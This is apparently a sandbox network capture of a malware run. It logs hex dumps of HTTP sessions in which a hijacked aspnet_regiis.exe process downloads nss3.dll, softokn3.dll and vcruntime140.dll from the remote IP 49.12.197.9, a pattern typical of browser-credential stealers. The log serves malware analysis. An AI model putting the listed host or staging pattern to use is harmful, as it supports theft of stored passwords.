2024-10-03 01:36:13 UTC	16384	IN	Data Raw: e8 97 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49736	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:14 UTC	196	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:15 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:15 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Thursday, 03-Oct-2024 01:36:15 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-03 01:36:15 UTC	16122	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-10-03 01:36:15 UTC	16384	IN	Data Raw: 08 c7 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-10-03 01:36:15 UTC	16384	IN	Data Raw: 40 04 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 Data Ascii: @EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGP
2024-10-03 01:36:15 UTC	16384	IN	Data Raw: 02 10 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-10-03 01:36:15 UTC	16384	IN	Data Raw: c0 0f 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#
2024-10-03 01:36:15 UTC	16384	IN	Data Raw: 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 Data Ascii: _[]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=P
2024-10-03 01:36:15 UTC	16384	IN	Data Raw: 77 8b 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 Data Ascii: wu ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-10-03 01:36:15 UTC	16384	IN	Data Raw: 37 ff 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 Data Ascii: 7uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-10-03 01:36:15 UTC	16384	IN	Data Raw: 40 00 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 Data Ascii: @]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4
2024-10-03 01:36:15 UTC	16384	IN	Data Raw: e4 89 c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49737	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:16 UTC	200	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:16 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:16 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Thursday, 03-Oct-2024 01:36:16 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-03 01:36:16 UTC	16123	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-10-03 01:36:16 UTC	16384	IN	Data Raw: 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c Data Ascii: +t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F
2024-10-03 01:36:16 UTC	16384	IN	Data Raw: 75 08 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 Data Ascii: uEEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMG
2024-10-03 01:36:16 UTC	16384	IN	Data Raw: d0 81 c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-10-03 01:36:16 UTC	15605	IN	Data Raw: 54 cf 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f Data Ascii: T@L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49738	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:17 UTC	192	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:18 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:17 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Thursday, 03-Oct-2024 01:36:17 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-03 01:36:18 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-10-03 01:36:18 UTC	16384	IN	Data Raw: 1f 01 f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MA
2024-10-03 01:36:18 UTC	16384	IN	Data Raw: 52 f4 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 Data Ascii: RQ=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-10-03 01:36:18 UTC	16384	IN	Data Raw: 40 a1 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 